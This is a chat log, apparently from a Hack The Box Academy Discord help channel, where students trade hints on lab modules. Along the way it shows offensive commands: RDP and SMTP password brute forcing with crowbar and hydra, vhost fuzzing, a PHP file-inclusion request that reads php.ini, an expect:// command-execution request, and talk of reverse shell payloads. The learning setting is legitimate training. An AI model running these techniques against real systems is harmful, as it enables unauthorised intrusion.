@ me if you get it. I am going to the store for awhile. bbl

[buoyant escarp]

what program do you use for taking notes? i want to switch form my .txt to something more modern UI based

[shadow dune]

I use notion

[rustic quiver]

Hey guys quick question how do you ssh to a target with the user and pw?

[shut quest]

obsidian, there are others like notion, onenote

[shadow dune]

ssh [user]@host

[buoyant escarp]

thx ill have a look into them

[midnight slate]

A question. Please how can I find the reflective.dll file on the machine?

[zealous rune]

i'm using obsidian, i find it decent.

[rustic quiver]

Okay I did it how you said, and it keeps saying connection refused for this question. For the Bind shells module

[shadow dune]

ss?

[south falcon]

Anyone help me for injection attack

[shadow dune]

no space

ssh htb-student@10.129.218.204

[rustic quiver]

it still refused the connection for some reason

[shadow dune]

you can ping the box ?

and port 22 is open ?

[lavish mango]

Are you connected to the HTB network via the VPN?

[rustic quiver]

🤦🏾‍♂️

I forgot to connect, thank you guys

[lavish mango]

Happens.

[rustic quiver]

Everything works now

magic

[shadow dune]

[midnight slate]

Please how can you find the reflective.dll.x64.dll file on the machine. Im stuck on the part where you are supposed to rename the dll file. Thank you

[dim wolf]

C:\Tools

[tulip dragon]

i need help in FILE inclusion skill assement , i have found flag but i can't get the cat output from the flag , ping me

[hexed oyster]

Hi all, working on the "web fuzzing" module's skills assessment and need a sanity check. I've started the machine, configured my hosts file to point 'academy.htb' -> IP ADDRESS. curl -I IPADDRESS:PORT to verify it's up, curl -I academy.htb to verify my hosts file is configured correctly, and grab the host header as well. Question 1 asks me to perform vhost and subdomain enumeration on the target. I perform subdomain enumeration, then vhost enumeration, nothing is popping out at as indicating next steps. Given the above does it look like I'm missing something?

[ebon minnow]

how long should it take, its been going for an hour

[shut quest]

a minute or two iirc

[shut quest]

you using the correct wordlist?

[tulip dragon]

nvm i found other ways to get that

[ebon minnow]

mut_passwords

[tulip dragon]

i am seeing many people stuck in password modules now a days 🤔

[shut quest]

use the one provided by the module

[ebon minnow]

its why we're in training 😄

[midnight slate]

Thanks you, I was over complicating it.

[tulip dragon]

nah i solved that modules fast even though i am also noob

[ebon minnow]

didnt work for rdp

||crowbar -b rdp -u johanna -C ~/Desktop/Password-Attacks/password.list -s 10.129.202.222/32 -v||

[shut quest]

oops sorry was thinking of a different module, yes use the mut_passwords

[ebon minnow]

over an hour is normal?

[shut quest]

no and it should be near the top of the mut list if you did it correctly

[ebon minnow]

i removed the duplicates, the list went from 180k to 90k

does capital or lowercase j matter in her name?

[vital falcon]

Hello everybody 😄 , can someone help with RDP bruteforce ? On password attacks, i got 3/4 flags, but the RDP one seams to not work , crackmap doesnt have anything , and hydra a lot of false positives ..

[hexed oyster]

Is there a better place to ask this question?

[fathom pendant]

Nope

This is the right channel

[ebon minnow]

||crowbar -b rdp -u Johanna -C mut_password.list -s 10.129.202.222/32 -v||

ok

[shut quest]

something wrong with your list?

[ebon minnow]

its exactly what i typed and mutated a fresh copy of the given lists

[ebon minnow]

i did the mutation that they gave in the cheatsheet

[shut quest]

wc -l mut_password.list should give you 93912

[ebon minnow]

i got double that lol

this was before but i ignored it because false positive

[shut quest]

then you did it wrong, go fix it

[ebon minnow]

i did the command from the cheat sheet

[fathom pendant]

The cheatsheet is missing the | sort -u

[shut quest]

😮

[ebon minnow]

curse word!

[fathom pendant]

Unless they updated it

It was missing last time I checked it

[ebon minnow]

its missing lol

[vital sphinx]

Any updates on rass issues posted bout it last time

[fathom pendant]

Like I said from the cheatsheet

That's from the section itself

[fathom pendant]

?

[shut quest]

oh well i dont know how to read

[fathom pendant]

It's OK. It's why you're here

[ebon minnow]

reassuring

once more into the breach

worked

https://tenor.com/view/wonthedoit-hallelujah-praise-god-dance-gif-9662937157261668880

[shut quest]

have fun with the rest of that lab....

[zealous sandal]

Can someone help me in the Pentester Testing module, Footprinting smb section, there is a question that I can't find the answer to.

[mint trout]

cant u get this with nmap -sC -sV

[grave path]

I'm doing Module 211, section 2276: SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe)

I performed all the steps and the timeframe mentioned in Mar 5, 2023 to now. The question asks me to input the common date when all events were created.

However, the creation date is before Mar 5, 2023 and I've tried creating the dashboard multiple times with different time fields, yet the answer is same. What should I do?

[zealous sandal]

im going to prove it thx

[shut quest]

there's a handful of techniques in the reading give them a try and report back

[buoyant escarp]

Try enum4linux
Lost my notes so i cant confirm for sure 🙄

[zealous sandal]

I thought I would not have internet and did not use it, but when I said that I tried the enum4linux-ng and I instantly got the one I was missing, thanks.

[shut quest]

any other date fields you can go off of like @timestamp?

[grave path]

I tried event.created and event.ingested yet the issue persists. It gives a date which is before Mar 5 2023 and hence the answer isn't accepted.

[shut quest]

Just played with the module, seems like something wiht count() is screwing with the date as it's forcing it to the first day of the week, if you mess around with that it will show the actual date

[grave path]

Ahh okay. Will try. Thanks dude

[shut quest]

i have the dumbs, you can just add whatever time field, edit it by clicking on it and changing it from weeks to days... but anyhow you can just use the interface itself without editing anything, the date is right there

0-2 for those keeping count

[high reef]

I've found the exploit but when i run it i get nothing back

[limber river]

new module

[high reef]

any help greatly apprecaited

any help

[limber river]

which module ?

[high reef]

Attacking common applications

[limber river]

did you find the first answer ?

[high reef]

yes

thats how i was able to find the RCE

[dim wolf]

HTB CADE certification?

[limber river]

did you try to get a revshell

[high reef]

yea, not sure why its not working

[grave path]

Thanks, it worked. Apparently, there's something wrong with Elasticsearch because I had to refresh the Dashboard multiple times to then get the result and it was indeed... dumb The dates changed multiple times.

[limber river]

well you found the CVE

but the application is it hosted on linux/win ?

[high reef]

windows

[limber river]

so the problem from the payload you use

[high reef]

i used this https://www.exploit-db.com/exploits/48971

[limber river]

I use one from this https://www.revshells.com/

[limber river]

did you setup your listener because , I got hit using this

[high reef]

listener is on

[limber river]

try to remove the single quote -Uri http;//ip:port"

[high reef]

that worked but connection died

[limber river]

yees kow try to put rev shell paylaod instead of ping yourself

this just for testing that the vulnearable exists

[sinful drift]

thanks

[high reef]

even if i base64 encode the payload its not picking up

[rustic sage]

Hi all

I'm currently on the Hard lab for Password Attacks, I've tried a few things to get past where things are at and I've hit a wall.
Cracked the RDP password for Admin but can't connect via RDP
And the password doesn't work for the file needed, I'll avoid spoilers.
Can anyone give me some guidance on this one?

[limber river]

@high reef I used the bas64 payload from this

[shut quest]

What error for rdp?

[high reef]

thats what i was using

[rustic sage]

Doesn't connect at all, I checked the Admin account groups and it should be RDPing in. Perhaps the password from the mutated password list is wrong for the Admin account? But hydra looks to have a correct match

[shut quest]

Dm the password

[limber river]

It should work just check the port and the ip

[high reef]

it was delayed

thanks for your help

[shut quest]

No that's not correct. I'd double check your steps for cracking and possibly your mut_password list, should be about 93000 lines long

[rustic sage]

hmmm i'll try it again, thanks gubarz

@shut quest I get 94044 from wc -l

[shut quest]

That's correct

[wanton idol]

for the web attacks Bypassing Encoded References, what other method would have been easier to do to accomplish that section bc i made a whole python script then used curl to download all of the pdfs

[wet coyote]

still the problem i did everything it even gave me new user name and password and i tired them and nothing works

on this question:
Login Brute Forcing - Skills Assessment
Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

i tried curl and nothing

[shut quest]

What steps in the section I mentioned did you try?

[mint trout]

service scanning... the hint is 'bob has a weak password'.. i tried spraying smb and telnet, i see tomcat am i meant to be exploiting this for a shell or am i overlooking something super simple..

[austere oracle]

Just reading the question, my assumption is that you should be connecting to one of the SMB shares. Have you tried using his name as the password?

[mint trout]

yes but not uppercase hold on.............

nah still cant get in.. tried Bob, bob, Bob!, bob1 etc

using GS-SVCSCAN/bob

do these labs still have account lockouts? should i try reset

[austere oracle]

Injection Attacks: Skills Assessment
I've found the PDF Generation vulnerability and am looking to read the source code of the internal site. Can anyone send me a message to help with that?

[onyx rapids]

WHITEBOX ATTACKS - Privilege Escalation

I feel like a newb having to come out and ask for help on the first question, but I inserted the payload they provided, got the 400 error and tried to visit /admin, but I still get redirected. Am I missing something here?

[nocturne flint]

I am confused about the module "Windows Privilege Escalation" - "Initial Enumeration"
The answer to the question "What non-default privilege does the htb-student user have?" isn't what I expected. The state of the privilege shows as ||"Disabled"||. So why is the answer that?

[wanton idol]

The privilege is not commonly used and can be used to be exploited.

[shut quest]

No most services do not have a lockout set. To expedite your question you might want to turn to the Internet and find a list of weak passwords. No need to thank me, you're welcome that's the 1 hint I'll give you. Best of luck

[silent burrow]

hello guys, newb here... I just enrolled for the SIlver plan, and want to unlock the Getting Started module or any module, but I press UNLOCK and nothing happens, sorry if this is not the place to ask this questions... thanks for your help

[shut quest]

Someone else was having issues with that the other day, I'm not sure what the resolve was. Try logging out and back in? Else try reaching out to support.

[silent burrow]

ok thx

[mint trout]

idk bro i slapped through darkweb 1000 and nothing, i just googled that and did worst passwords2022 list and still nothing xd

[shut quest]

I already said you're welcome I cannot help you any further with your search.

[silent burrow]

Sorry, was the AD BLOCKER, I'm still very redacted... LMAO

[cloud urchin]

Re-read the shares section of the page you're in carefully.

[random pulsar]

Can someone help me or give me a hint on this question: 'find through SPL searches against all data the process that started the infection. Answer format: _.ex '”

[dim wolf]

think like an attacker. then trace to the origin

[shut quest]

No way, I swear that wasn't there before.

[mint trout]

lmao thanks, i cant believe its on the page, how the shit didnt i find this with 2020 and 2023 200 most common, and darknet 10k 😒 wtf

hm it actually is in 2023-200_most_used_passwords.txt

fml in crackmapexec i forgot to put domain/user

thank god i wont make that mistake again.. id probably cry if i did that in the exam

[cloud urchin]

Lol.. Yeah I certainly missed it myself when I went over it

[mint trout]

thanks for making me feel a bit better at least 🤣

[shut quest]

I even did a search on the academy and it didn't return for that module

[cloud urchin]

Haha yeah I ran through a few lists as well.

[shy aspen]

Network Enumeration with Nmap - Host and Port Scanning

is there ever any practical reason we would want to disable ICMP echo requests or ARP pings with -Pn or --disable-arp-ping, or is it just used in this module to illustrate the different scan types?

[rustic sage]

They're commonly filtered out to block those packets

[shy aspen]

ah ok, so if nmap doesn't receive replies to those packets, it labels those ports as filtered right?

[rustic sage]

by memory if nmap cannot determine whether its open or closed it can return filtered

if its firewall blocked it should say filtered

you can use the --reason to get results on the ports

I may be wrong but that's by memory

[shy aspen]

ok thank you!

[rustic sage]

👍

[indigo locust]

has pawnbox acting up today for anyone? it stop/terminates itself after ~10 minutes and then have to respawn it again

[tiny brook]

Hi all

[jade latch]

on attacking common services sql portion. i cant sudo apt install sqsh or run mssql-cli because of its numerous errors.
mssql
fixed import lines where it has called a deprecated library from 3.9, but another error from a function popped up. i tried to download python3.9, but apt can't find it. mssql-cli should be a lost cause, and it's a bigger problem that i somehow can't install python3.9(i can install other packages)

ah i forgot pwnbox existed

[tiny brook]

I need some help

[acoustic owl]

What is it about?

[frail dawn]

Could someone give me some help with Information Gathering - Web Edition First question of the virtual host section?

Enumerate the target and find a vHost that contains flag No. 1. Submit the flag value as your answer (in the format HTB{DATA}).

I'm doing ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://10.129.226.112 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918

but i'm not getting any hits. What am I doing wrong? Thanks in advance

I've also tried FUZZ.www.inlanefreight.htb as well

[wary magnet]

hi guys!

seeking home help with server-side attacks skills assessment.

||i have found the url from a javascript file. when i try visit the url. it just displays "are you sure?" and nothing else. ||

is there anything else i'm missing to get the flag?

Edit: I'm blind. lol

[cloud urchin]

the -u flag should be the hostname (aka www.inlanefreight.htb) not the IP.

[frail dawn]

hmm interesting. Then why does the module course material give ffuf -w ./vhosts -u http://192.168.10.10 -H "HOST: FUZZ.randomtarget.com" -fs 612 as the example for this exercise? Seems wack

[cloud urchin]

Sounds like you didn't actually find it. You can DM me the path and js file name if you want me to confirm it

[wary magnet]

will do

[cloud urchin]

actually i think that works too

in the pic i took i used the url though

make sure you have www.inlanefreight.htb added to your /etc/hosts file

[frail dawn]

@cloud urchin Well ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://10.129.226.112 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918 didn't get any hits,

but ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://www.inlanefreight.htb -H "HOST: FUZZ.inlanefreight.htb" -fs 10918 does give me hits.

and yeah I got both www.inlanefreight.htb and inlanefreight.htb in /etc/hosts. Thanks for the help.

[frail dawn]

ok so I have a list of subdomains on the target, but not seeing a flag anywhere. Visiting them and using curl on them are producing no results.

[fringe urchin]

Your first command looks correct from what i see, whats the output?

[cloud urchin]

are you visiting the vhosts?

[frail dawn]

Yeah in my browser and with curl. I'm just getting defualt apache2 ubuntu page

[frail dawn]

for that first command. Literally nothing. Just the amount of tries it has attempted. No vhosts are shown.

[fringe urchin]

no clue why IP doesnt work, if you have em in /ect/hosts
i see that you got some outputs but cant curl, as far as i remember if you didnt filter the 10918 out you would get a ton of default ubuntu installation pages but you did filter it out. mind sharing your curl command?

[next bronze]

iirc for vhosts you'll need to use the domain and not the ip

[fringe urchin]

mine worked with the ffuf IP

[next bronze]

[fringe urchin]

but was using pwnbox so maybe thats why it worked for me

[next bronze]

[frail dawn]

I've tried:

||curl -s http://customers.www.inlanefreight.htb -H "Host: customers.www.inlanefreight.htb"
curl -s http://www2.www.inlanefreight.htb
curl http://citrix.www.inlanefreight.htb||

and I'm not using pwnbox, but might jump on it to complete this if I have to lol

[next bronze]

huh why are the subdomains before www

[limber river]

what the heck is this

[fringe urchin]

that doesnt look right

[limber river]

i don't understand this

[fringe urchin]

you added to every subdoman a www which isnt correct

[limber river]

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://blah.com -H "HOST: FUZZ.blah.com"

you need blah.com in your /etc/hosts

[frail dawn]

That makes sense. I thought I needed the www because of this

[next bronze]

www is already a subdomain, if you want to visit another, you'll need to replace that

subdomain.domain.tld

that's the format for urls

[frail dawn]

right. I thought I was supposed to find sub domains of the sub domains lol

[frail dawn]

I'm still not getting any hits with this though. How long do you have to let the wordlist run to get the vhosts?

[limber river]

are you try to fuzz on subdomains for www.inlanefreight.htb or what ?

[next bronze]

did you add specifically inlanefreight.htb to your hosts file

[limber river]

if you trying to get access to www.inlanefreight.htb just add it to you /etc/hosts

[frail dawn]

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://inlanefreight.htb -H "HOST: FUZZ.inlanefreight.htb" -fs 10918

[frail dawn]

yes

[limber river]

maybe the fs is wrong

[fringe urchin]

it was the correct one for me aswell

[cloud urchin]

worked fine for me

you mentioned earlier this also worked for you, add the vhosts you found in your /etc/hosts and visit them for the flags

[echo gulch]

Aha, I need a lot of heat on the roads for five bucks TR300006400000134032350237

[fringe urchin]

huh?i dont remember adding the subdomain you found to your /etc7hosts?

[frail dawn]

I did, and all I got was Apache2 Ubuntu Default Page

[fringe urchin]

whats the size of the valid sites?

[echo gulch]

whats the size of the valid sites?

Aha, I need a lot of heat on the roads for five bucks TR300006400000134032350237

[frail dawn]

I'm not getting anything 😦

[cloud urchin]

your command is not the same as mine

[limber river]

It doesn't make sense but try With Http://www.inlanefreight.htb

-H.......?

[frail dawn]

yeah I get hits with http://www.inlanefreight.htb

But as I said before, when I visit these subdomains, I only see the Apache2 Ubuntu Default Page.

[cloud urchin]

show your /etc/hosts

if you have the correct vhosts in /etc/hosts with the same ip as the www.inlanefreight.htb one, it should work

actually don't show your /etc/hosts because that'd probably break rules

but i'm guessing that's the issue, because if you don't set that up then you'll get the default apache page

[frail dawn]

Got it. I still has the subdomain.www.inlanefreight.htb in my etc/hosts.

Thanks for the help everyone. That took way more time than it should of lol

[kind venture]

Hello everyone!
I am here to ask for your support in fixing an OpenVPN error. As shown in the course, when I try to connect using the "academy-regular.ovpn" file, I encounter an error: "WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set."

This occurs when I try to open the file from the downloads folder. When I try to open it without navigating to the folder, it displays the error: "Options error: In [CMD-LINE]:1: Error opening configuration file: academy-regular.ovpn."

I have tried all the solutions from forums, YouTube, Reddit, and even searched for a solution on the TryHackMe forums regarding OpenVPN, but I couldn't resolve it.

I have attempted to connect to all the servers and even changed to TCP 433, but I still couldn't fix it. So, I'm reaching out to ask for your help. What could be the solution? Am I doing something wrong?

I have attempted to connect using both the website and VMware. In my VMware, I'm using Parrot OS HTB.

[next bronze]

that looks fine, I don't see any errors about opening the config file

run ifconfig, if you see an ip for tun0 you're good, open another terminal and do your things

[kind venture]

Thank you! Let me try and come back agian.

I did as you told, run ifconfig, my ip is still the same but I can see tun0.
Does this mean I am connected? @next bronze

[next bronze]

sudo killall openvpn, connect again, then go do a module

[kind venture]

After running 'Sudo killall opevpn' and reconnected, I got this:

[limber river]

you are ready to go

try to ping your target

[kind venture]

Wow! Let's do this!

Let me try and come back here again.
Thank you @next bronze

[next bronze]

yeah you're good

[limber river]

nice troubleshooting skills

[next bronze]

fyi if you want to run it outside of the downloads folder, give it the full path, i.e. sudo openvpn /home/user/Downloads/academy-regular.ovpn

I'd recommend doing the Information Security Foundations path

[kind venture]

Dang! I'l save this and remember. I am a total newbie and this will help me a lot. Thank you!

[limber river]

as xreous said go for the security foundations paths

[kind venture]

@next bronze @limber river Okay! I will do that. Thank you 👍

[fringe urchin]

Doing password attacks, network services
just having a question about RDP, did someone try it with crackmapexe? i saw its not covered in the module but when checking out crackmap it has the possibility?

[cloud urchin]

yeah it can

crowbar probably still better for rdp

[next bronze]

hydra works with rdp

[fringe urchin]

did you change the command much? i went through the crackmapexe rdp --help and didnt saw anything important that i would need to change

[fringe urchin]

yea just wanted to go with crackmap through all of em first then with hydra

[cloud urchin]

i didn't use CME for it, i used crowbar

[fringe urchin]

ah ic

ssh and winrm both went flawlesly with crackmap, dont know yet why rdp doesnt function well

[cloud urchin]

btw ~ is the shortcut for your 'home directory' so you can just do ~/Desktop/pass.list or whatever

[next bronze]

imagine still using cme

[cloud urchin]

don't mad dog cme

[fringe urchin]

i know but im again out of my country and have to work on this shitty macbook and i have no clue where that button is , i even struggled to find @ xD

well cme isnt worked on anymore so maybe that broke something with rdp, ill use hydra

[fading oracle]

Hi all! i am doing LDAP module this is the question..What is the domain functional level?
i am doing my query but the answer is wrong..
also tbh 1000 cubes for this module is a theft...

[next bronze]

which section is that

also lmao I agree

[cloud urchin]

yeah i thought it was pretty weak for a 1000 cube module..

[fading oracle]

LDAP Anonymous Bind section

i mean i am using the go version of windapsearch which is only 4 years old

[stark fractal]

Hi, I just found two flags in one lesson. But the lesson only needs one, does that happen more often? It's about: https://academy.hackthebox.com/module/19/section/108

[fading oracle]

in the module the tool they recommend is 8 years old

[next bronze]

you need to use --functionality

[fading oracle]

in this version its the metadata is the equivalent

[cloud urchin]

i used ldapsearch-ad.py with -t info and got it

[next bronze]

it's supposed to be the year btw, just give it the server version https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

[cloud urchin]

Xre0uS' command will work too

[fringe urchin]

they are reusing services(nothing wrong with that) and you maybe got a flag for one of the next section questions, happend to me too

[stark fractal]

I guess I'll keep a note so I can submit it later haha

[kind venture]

Hi again!
I was able to connect with ssh htb student..... but when I type the password it says Permission denied.

Am I missing something?

[next bronze]

enter the right password then you can copy and paste

and in the future, include the module and section so that people will know the context

[civic locust]

https://forum.hackthebox.com/t/htb-academy-password-attacks/285391

I have problem with last question of module Network Services

Hey. Why i am getting
smb: > ls
NT_STATUS_ACCESS_DENIED listing *

I've found credentials of john... (Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.)

[cloud urchin]

access denied is a permission issue, the user you're using doesn't have permission to do that

[civic locust]

But how am i supposed to do it then? I've used bruteforce smb with given pass-user lists and found john credentials. There are no other occurencies

[cloud urchin]

how did you brutce force it?

[civic locust]

Though crackmapexec

[cloud urchin]

then you'll need to --continue-on-success or use another tool

[civic locust]

Thank you!

[inner sand]

even though i cancllled the sub ?

because there are modules i still didnt finish

[fringe urchin]

he said all 100% completed modules belong to you

[inner sand]

ok that makes sense

thnx

[umbral fulcrum]

hey guys, someone up for a little help on "Exploiting Web Vulnerabilities in Thick-Client Applications" section in
"Attacking Common Applications" module please ??

[next bronze]

was planning to do the Active Directory Trust Attacks module but the target won't spawn

guess I'm not doing it

[umbral fulcrum]

the explanation in the module doesn't make sense ...

[limber river]

you bought it ?

[next bronze]

yeah I have thousands of cubs to be used

[limber river]

share some cubs , I am poor

xD

[next bronze]

just get money

[limber river]

you push me to do bad things

[fringe urchin]

me doing mutated passwords section

got it

[covert vortex]

Hi there! can someone help with Password attacks medium lab? I've got zip archive from smb share, but when trying to crack the password of it, by using john and multiple password lists with different formats - im just getting nothing

[potent thorn]

try a mutated list

[rustic sage]

Poor solutions

[hoary harness]

hello, I'm new in cybersecurity and im trying to learn through the HTB : academy (path : Information Security Foundations). I like to understand and manipulate tools but in module : "Setting up" there is a lot of things that's seems not mandatory but also usefull. I don't get the point of talking about thoses things but not make it clearly understandable like Tmux (a video of a man just speed running options and his keys binding), modifying bashrc to modify the prompt but writing just after that to keep it simple, talking about command and vps but not explaining how to setup one (just some specific case where it would be usefull were told).
It feels like If i dont get knowledge about that I would skip some important info but it also feels like it s not important. Can someone tell me if I should just going trought like it s ok to not understand it at 100% (sorry bad eng I m a bit confuse about this module)

[rustic sage]

It's OK 👍

You can't understand everything about hacking

[hoary harness]

so what the point of doing all that if it's not usefull...

[next bronze]

a lot of things you'll need to research yourself if you want to know more, tmux, bashrc and vps could be modules on their own, but they're not essential to finishing the path, they're good information for you to know and explore yourself

[hoary harness]

thanks for clarification!

[vital falcon]

Hi guys , anyone who completed the module password attacks that can explain me why my RDP brute force is not working ? :/

[fringe urchin]

Crackmapexe?

[vital falcon]

I tried these commands , they show output , but only false positives :/

I got 3 out of the 4 flags , just the RDP one is not working , kinda frustating :/

[fringe urchin]

Iirc cme wasnt getting worked on anymore.
So most likely something broke with maybe a new rdp version.
Just dont use cme, use hydra or smthing

[vital falcon]

Hydra was the same thing :

Just in case , I'm using the list they provided , and I added inside the users found in the sever

[potent thorn]

Can anyone who has completed the attacking common services easy lab please dm me? I have got the flag but apparently there are two methods and I'd like to understand thhe second one

[fringe urchin]

Whats the output? False positives?

Yea command looks good, worked for me like 3 hours ago(from what i can remember)

[vital falcon]

With hydra yes, like 4 password available for each user ; using cme and crowbar , no output

[buoyant escarp]

You provide a password.list but where is the hash or the hash file it wants to compare with?

Oh nvm now i see it

[fringe urchin]

Have you tried via pwnbox?

[vital falcon]

No , is there a diference ?

[fringe urchin]

it could help

[vital falcon]

Ok let me try 🫡

[fringe urchin]

Maybe your internet connection was unstable giving you false positives?

[vital falcon]

I don't think that can be an issue , i tested in 2 different ( irl) locations as well :

[civic locust]

Hey.

hydra -l fiona -P /usr/share/wordlists/rockyou.txt 10.129.59.142 smtp -t 64 -f```

I am trying to get through "Attacking Common Services - Easy". Found username with smtp-enum but now struggling to bruteforce smtp. I've tried rockyou.txt and provided passlist but notjing has shown up. Any hints?

[fringe urchin]

No clue then. I would check out on the pwnbox, since the command looks the same as i used it

sorry

[vital falcon]

Yes , I'm lauching hydra in pwnbox, because I thought it would be easy ahhaha

No problem , thanks already for helping mister !

[fringe urchin]

You did the last question aswell? Im pretty sure there you find the rdp password aswell

[vital falcon]

the SMB ? Yes I did

Oh really ? looking in the shares ? or dumping ?

[fringe urchin]

When cracking it, if you left it at user.list and password.list
It found every password we used before for other services

[vital falcon]

Using cme ? It only gave me 2 users not all

[fringe urchin]

I think i used hydra for smb aswell, and it gave my others too. Like 4 together iirc. Ill be home in 10-15min so i can double check

Maybe used cme tho since i had to use --continue-on found or whatever is the command

[vital falcon]

Yes, I need to get the laptop so I can tell you what I used , I think hydra for ssh ,smb user , cme for winrm and smb shares , not sure tho

[vital falcon]

Ahhh let me check that aswell

[civic locust]

Please guys...

[tribal plinth]

Can you please tell me which VPN server you are using to spawn the target?

[next bronze]

was eu-2 I think, switched to us-3 and it's fine

[tribal plinth]

Thank you, I will verify from our end as well.

[fringe urchin]

Just got.home. yea used crackmapexec on the smb got all 4 passwords there

[vital falcon]

Yeah I don't know , rackmapexec is not even working anymore

[fringe urchin]

[vital falcon]

update : finnaly did it 😄 thanks

[cloud urchin]

I'm pretty sure you use the list provided, but i don't have anything in my notes about this

[fading oracle]

Hey guys. i am doing skills assesment on the LDAP module.What non-default privilege does the htb-student user have? this is the question, i saw earlier someone told that i need to run an elevated powershell but its not possible.

[wet coyote]

all of them

[snow ridge]

Restart box

[fading oracle]

already did twice

this shit module cost 1000 cubes

outdated as f****

chatgpt makes better queries

and it is very slow

a copy paste takes 20 second

well i tried all privs one worked..

[shut quest]

I don't know what to tell you then since all of them does not tell anyone anything when there's only one thing in the section I said to look at was and you replied a while back curl which also is not on that page.

[fading oracle]

😄

[next bronze]

may I dm about the module? running into some unexpected problems, not sure if it's skill issue

[mossy garden]

All of them

[autumn pilot]

Before connecting to the target you must wait 3-5 minutes

[tribal plinth]

Hey, sure!

[covert vortex]

)

[fringe urchin]

Haha

[next bronze]

indeed

[fringe urchin]

How is the module?

[next bronze]

not sure yet, still on the first part, but seems pretty good

[cosmic grail]

Are there any free Active Directory machines on HTB?

[sly kelp]

No I think u should check Active directory 101 track but it requires subscription

[runic fox]

Guys am fresh student need someone who'd want to help me.witb just feel knowledge when I stuck on a question..thank you guys

[cosmic grail]

Thank you

[digital portal]

Doubts in Broker HTB machine(Privilege escalation), Anyone?

[worn edge]

hello guys im new to linux and im taking the linux fundamentals course. Could anyone help me with the second task?

It may be a bit overwhelming at first to deal with so many different tools and their functions if we are not familiar with them. Take your time and experiment with the tools. Have a look at the man pages (man <tool>) or call the help for it (<tool> -h / <tool> --help). The best way to become familiar with all the tools is to practice. Try to use them as often as possible, and we will be able to filter many things intuitively after a short time.

Here are a few optional exercises we can use to improve our filtering skills and get more familiar with the terminal and the commands. The file we will need to work with is the /etc/passwd file on our target and we can use any shown command above. Our goal is to filter and display only specific contents. Read the file and filter its contents in such a way that we see only:

1. A line with the username cry0l1t3.
2. The usernames.
3. The username cry0l1t3 and his UID.

[buoyant escarp]

cat /etc/passwd | grep cry0l1t3

[austere oracle]

Injection Attacks: Skills Assessment
I've found the PDF Generation vulnerability and I've found the XPATH injection, but I'm unable to get any useful data from it. I haven't figured out how to read the source code of the internal site, either. Can anyone that's completed this offer me a nudge?

[snow ridge]

Just start to dump data with xpath injection you dont need the source code.

[timid hazel]

Could anybody send me the answers for Practical Digital Forensics Scenario and Skills Assessment (SOC Analyst)? Thank you

[cloud urchin]

nah

[fringe urchin]

[acoustic owl]

You don't learn anything if someone simply sends you the answers.

[sleek moss]

What stuff in the cpts path doesn’t need for oscp?

[acoustic owl]

SQLmap I think. This tool is not allowed in OSCP as far as I know

[frail dawn]

You're right. It's not allowed.

[sleek moss]

I c

[fathom pendant]

You don't need to cat to grep

[buoyant escarp]

ah right

[fathom pendant]

You can just do grep "pattern" file

And you can do multiple files this way

[buoyant escarp]

nice, didnt knew that

[fathom pendant]

I believe as well if you add -n it'll tell you line number it's been a sec

-A, -B, and -C are context flags

A for after, B for Before, C for context around so like a combination of a and b

[violet pasture]

I'm currently going through the starting point machines, on sequel. I can scan the target with nmap, however if I use any flags in my scan it gets stuck at 0%. My next task is to obtain the version of MySQL running, however if I use nmap -sV <IPADDRESS> it gets stuck, and also tried nmap -sV -p 3306 <IPADDRESS>. Also tried sudo. However if I just use nmap <IPADDRESS> it works fine. Any idea?

[fathom pendant]

this channel isn't for the starting-point machines; there's the #starting-point channel (read and follow #welcome to access it)

[buoyant escarp]

Attacking Common Services - Easy
what a great lab, realy enjoyed it, my struggle was not using rockyou, i tought i have to use the lists from resources :/

btw i used the way with mysql, not the way with the XAMP vuln

[uneven dune]

where i can report a possible bug in a module ?

[ocean night]

#858470491676737536

[pine dune]

Hi

I need help with this command

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On```

https://academy.hackthebox.com/module/23/section/253

[ocean night]

Explain what the problem is you're facing - that command is valid, but what do you expect it to do?

[pine dune]

1. that is not my command...when I ran the first command I saved it to a file called phpgrep.txt

2. I want whatever command I run next to say "allow_url_include = On"

I had to save the very first command I ran to a phpgrep.txt file as I couldn't paste the content to the screen as it was too big

[ocean night]

That step is simply to demonstrate encoding text in base64, for use in the next step in the module

[pine dune]

ill tell u the commands I ran

cat phpgrep.txt | base64 > new.txt | grep allow_url_include

before I ran the above command I ran this

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

[ocean night]

That step is part of information gathering. This is used in the next step in order to achieve your goal.

[pine dune]

this module didnt say anything about information gathering?

[ocean night]

You're reading the PHP config, and checking to see if an option is enabled

Confirming it is means you can continue to utilise the method described in the next step

You gathered information by reading data from the PHP config file on the target

This allows you to determine what method you could use to move further in to the target

Read up on what the allow_url_include option actually means and enables

It's also described in the module

[pine dune]

yes it should say "allow_url_include = On" and not just give me a bunch of random strings, right?

[ocean night]

The fact you got that output means you have confirmed that option is enabled in the PHP configuration on the target

Move to the next step, Remote Code Execution, it may make more sense then 🙂

Essentially the request you sent above utilized a feature in PHP to use filters to perform actions on the target. Some actions are enabled by default, others are not.

The action in that step allowed you to retrieve the php.ini config file from the target, in order to determine which options are enabled on the target.

[pine dune]

thank you..its kinda hard to understand this particular page atm and I'm not enjoying it 😦

[ocean night]

Maybe re-read the previous section on PHP Filters

You'll get it 🙂

[pine dune]

Hi, I'm running this command curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" and its catting out the html file 😅

shouldn't it create a shell for me? or am I mistaken?

[ocean night]

That step should execute a command and return the output. I'm afraid I can't stick around to help any more, I need to turn the light out and go to sleep

